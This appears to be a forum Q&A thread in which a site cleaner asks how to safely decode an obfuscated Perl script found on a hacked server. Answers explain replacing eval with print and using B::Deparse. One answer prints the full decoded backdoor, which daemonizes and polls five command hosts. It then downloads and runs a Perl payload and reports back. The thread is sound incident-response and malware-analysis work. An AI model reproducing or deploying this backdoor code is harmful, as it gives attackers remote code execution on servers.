Decrypt obfuscated perl script on hacked site - perl

Question

I was cleaning out a client's site that got hacked after I had cleaned it once already, when I found a cron job pointing to a script in the server /tmp directory:
https://pastebin.com/uXCSXxdn
The first 6 lines look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;eval($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
M($E/.CI3;V-K970["G5S92!)3SHZ4V5L96-T.PHD?"`](#$[("9M86EN*"D[
M"G-U8B!M86EN"GL*97AI="`P('5N;&5S<R!D969I;F5D("AM>2`D<&ED(#T#
The rest is just 121 more lines of that DATA block. I ran the file through Virustotal and it came back clean, but I am certain this is not a non-malicious file. Is there any way to safely decrypt it so I know where to look and see if it dropped another payload somewhere on the site?

Answer 1

If you want to see the deobfuscated code, here are the steps to do it. Note that what you will be doing is dangerous, because if you accidentally execute the code, your machine will be attacked. You are warned.
Note that these steps are for THIS EXAMPLE only. Other attack scripts may have other things in them. They may need other changes than what is detailed below.
Here are the steps for the original example that was posted.
Copy all of your program into original.pl. It will look like this:
my $gVcoQXKQ='';$gVcoQXKQ.=$_ while(<DATA>);$gVcoQXKQ=unpack('u*',$gVcoQXKQ);$gVcoQXKQ=~s/295c445c5f495f5f4548533c3c3c3d29/616962786d6065606062697f7f7c6360/gs;print($gVcoQXKQ);
__DATA__
M(R$O=7-R+V)I;B]P97)L("UW"G5S92!S=')I8W0["G5S92!03U-)6#L*=7-E
Change the eval on the first line to print. IF YOU DON'T CHANGE THE eval TO print, THEN THE NEXT STEP WILL PERFORM THE ATTACK ON YOUR MACHINE.
Now, run the program, after you have changed the eval to print.
perl original.pl > unencoded.pl
The new unencoded.pl program will look like this, with no indentation:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
Now use the B::Deparse module to interpret and reformat the program. MAKE SURE YOU HAVE -MO=Deparse OR ELSE YOU WILL RUN THE ATTACK.
perl -MO=Deparse unencoded.pl > formatted.pl # Note the -MO=Deparse!!!
Running through the Deparse module will say:
unencoded.pl syntax OK
The new formatted.pl program will be a nicely formatted copy of the attacker's payload, 213 lines long, and you can examine what the script does. Note that the final program is still dangerous, because it is the attack program that the attacker wanted to run.

Answer 2

The format shown is simply uuencoding. I copied the pastebin-ed text, pasted it into https://www.browserling.com/tools/uudecode, which showed it's this not-actually-obfuscated Perl code:
#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
POSIX::setsid();
$SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
umask 0;
chdir "/";
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
my $url = ["5.135.42.98:80","ixjeunsdms.org:80","95.216.98.49:443","heyhajksds.com:443","skjfdnlakdp.net:80"];
my $rnd = ["a".."z", "A".."Z"]; $rnd = join ("", #$rnd[map {rand #$rnd}(1..(6 + int rand 5))]);
my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$rnd")) { close F; unlink "/tmp/$rnd"; $dir ="/tmp"; }
my ($header, $content);
my ($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
foreach my $rs (#$url)
{
$header = "$dir/" . time; $content = $header . "1";
unlink $header if -f $header; unlink $content if -f $content;
&http($rs, $timeout, $header, $content, 0);
if (open (F, "<", $header))
{
flock F, 1;
my ($test, $task) = (0, "");
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$test ++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;
}
close F;
($link, $file, $id, $command, $timeout) = &decxd($task) if $test == 2 && length $task;
}
unlink $header if -f $header; unlink $content if -f $content;
}
exit 0 if !defined $command || $command !~ /^16$/;
$header = "$dir/" . time; $content = "$dir/$file";
unlink $header if -f $header; unlink $content if -f $content;
&http($link, $timeout, $header, $content, 1);
my ($resp, $size) = ("000", 0);
if (open (F, "<", $header))
{
flock F, 1;
while (<F>)
{
s/^\s*([^\s]?.*)$/$1/;
s/^(.*[^\s])\s*$/$1/;
next unless length $_;
$resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
}
close F;
}
$size = (stat $content)[7] if -f $content;
$size = 0 if !defined $size || $size !~ /^\d+$/;
if ($size > 0)
{
chmod 0755, $content;
system "perl $content >/dev/null 2>&1";
}
unlink $header if -f $header; unlink $content if -f $content;
foreach my $rs (#$url)
{
$header = "/dev/null"; $content = $header;
&http($rs, 10, $header, $content, 0, "$id.$resp.$size");
}
exit 0;
}
sub xorl
{
my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
foreach my $chr (split (//, $line))
{
if ($xor == $lim)
{
$lim = 0 if $lim == 256;
$lim += 16;
$xor = 1;
}
$code .= pack ("C", unpack ("C", $chr) ^ $xor);
$xor ++;
}
return $code;
}
sub decxd
{
my $data = pack ("H*", shift);
#_ = unpack ("C5", substr ($data, 0, 5, ""));
return (&xorl(substr ($data, 0, shift, "")), &xorl(substr ($data, 0, shift, "")), #_);
}
sub http
{
my ($url, $timeout, $header, $content, $mode, $gecko) = #_;
$gecko = "20100101" if !defined $gecko || !length $gecko;
my ($host, $port, $path) = $url =~ /^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
return unless $host;
my $addr = gethostbyname $host;
return unless $addr;
$port ||= 80;
$path ||= "/";
$addr = sockaddr_in($port, $addr);
my $readers = IO::Select->new() or return;
my $writers = IO::Select->new() or return;
my $buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.1",
"Host: $host",
"Cookie: PHPSESSID=295c445c5f495f5f4548533c3c3c3d29",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/$gecko Firefox/60.0",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.1",
"Accept-Language: en-us,en;q=0.8",
"Accept-Encoding: gzip, deflate",
"Accept-Charset: ISO-8859-1,utf-8;q=0.1,*;q=0.8",
"Connection: close",
"\x0D\x0A"
);
if ($mode)
{
$buffer = join
(
"\x0D\x0A",
"GET $path HTTP/1.0",
"Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:61.0) Gecko/$gecko Firefox/61.0",
"Accept: text/html,*/*",
"Connection: close",
"\x0D\x0A"
);
}
my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
return unless $socket;
$socket->blocking(0);
unless ($socket->connect($addr))
{
unless ($! == POSIX::EINPROGRESS)
{
close $socket;
return;
}
}
$writers->add($socket);
$timeout += time;
my $step = 0;
while (1)
{
IO::Select->select(undef, undef, undef, 0.02);
my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
foreach my $handle (#$writable)
{
if ($step == 0)
{
$step = 1 if $handle->connected;
}
if ($step == 1)
{
my $result = syswrite ($handle, $buffer);
if (defined $result && $result > 0)
{
substr ($buffer, 0, $result) = "";
if (!length $buffer)
{
$readers->add($handle);
$writers->remove($handle);
$step = 2;
}
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
}
my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
foreach my $handle (#$readable)
{
next if $step < 2;
my $result;
if ($step == 2)
{
$result = sysread ($handle, $buffer, 8192, length $buffer);
}
else
{
$result = sysread ($handle, $buffer, 8192);
}
if (16384 < length $buffer)
{
$timeout = 0;
}
elsif (defined $result)
{
if ($result > 0)
{
if ($step == 2)
{
my $offset = index ($buffer, "\x0D\x0A\x0D\x0A");
next if $offset < 0;
if (open (F, ">>", $header))
{
flock F, 2;
binmode F;
print F substr ($buffer, 0, $offset);
close F;
}
substr ($buffer, 0, $offset + 4) = "";
$step = 3;
}
if ($step == 3)
{
if (length $buffer)
{
$buffer =~ s/%EHLO_VALUE%/295c445c5f495f5f4548533c3c3c3d29/gs;
if (open (F, ">>", $content))
{
flock F, 2;
binmode F;
print F $buffer;
close F;
}
$buffer = "";
}
}
next;
}
$timeout = 0;
}
elsif ($! == POSIX::EWOULDBLOCK)
{
next;
}
else
{
$timeout = 0;
}
}
if ($timeout < time)
{
foreach my $handle ($writers->handles, $readers->handles)
{
$writers->remove($handle) if $writers->exists($handle);
$readers->remove($handle) if $readers->exists($handle);
close $handle;
}
return;
}
}
}
The clues were a) recognising the distinctive format; b) also recognising the unpack('u*'). No machines, virtual or otherwise, were put at risk in this process.
The code has 5 URLs, and the http function implies it "phones home" to those, getting commands to execute in a Set-Cookie: PHPSESSIONID= header. I haven't analysed it further than that.

Answer 3

Replace eval with print to see what the script is running. The portion you provided generates readable code.

Answer 4

My first thought was to deparse it but that won't be of much use since most of the code is in the DATA block. You could replace the eval() function with print() and let the script decode it for you. You might end up needing deparse for what print gives you.